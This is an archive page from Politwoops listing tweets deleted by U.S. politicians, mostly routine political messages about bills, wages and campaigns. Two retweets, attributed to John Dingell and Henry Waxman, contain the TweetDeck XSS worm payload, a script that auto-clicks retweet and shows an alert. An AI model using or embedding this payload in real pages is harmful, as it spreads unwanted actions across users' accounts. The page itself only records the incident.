Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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John Dingell (D) @john_dingell

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Henry A. Waxman (D) @WaxmanClimate

RT @The_Red_Bull: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Quinn Campaign (D) @QuinnForIL

How long has Republican billionaire Bruce Rauner been hiding his budget plan? This long: http://t.co/zr0GhmiBpW #StillNoPlan

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Rep. Joe Garcia (D) @RepJoeGarcia

Today, I introduced my new #STEM bill. It will help boost our economy, create jobs & promote innovation. Read more http://t.co/GsWwj8NbAf

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Rep. Jim McGovern (D) @McGovernMA

RT @RickCinclair: Mayor, Congressman, & Gov. greet @BarackObama at @FlyOrh #ObamaWorcester motorcade underway. http://t.co/wK3tFQxbxW

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Rep. Eric Swalwell (D) @RepSwalwell

RT @AdrienneNEdward: For those of you that asked.. My favorite active US Rep is Eric Swalwell @RepSwalwell

Adriano Espaillat (D) @EspaillatNY

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RT @RussOnPolitics: @eric_ulrich @NY1 @EspaillatNY Agreed. Rangel just comes off as angry. He seems resentful that someone even dares challenge him. #NY13

Rep. Cheri Bustos (D) @RepCheri

25 million hardworking Americans across every district will benefit if we #raisethewage to $10.10. Take a look: http://t.co/JO7uejzT1R

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Niki Tsongas (D) @nikiinthehouse

Marlborough is home to Longfellow’s Wayside Inn, the oldest operating inn in the US, established in 1716. #3DThursday

Rangel 4 Congress (D) @Rangel4Congress

RT @NY1: NY1 ItCH: Charlie Rangel's Birthday Quiz Show hits The Bronx http://t.co/XOqozzVOjT

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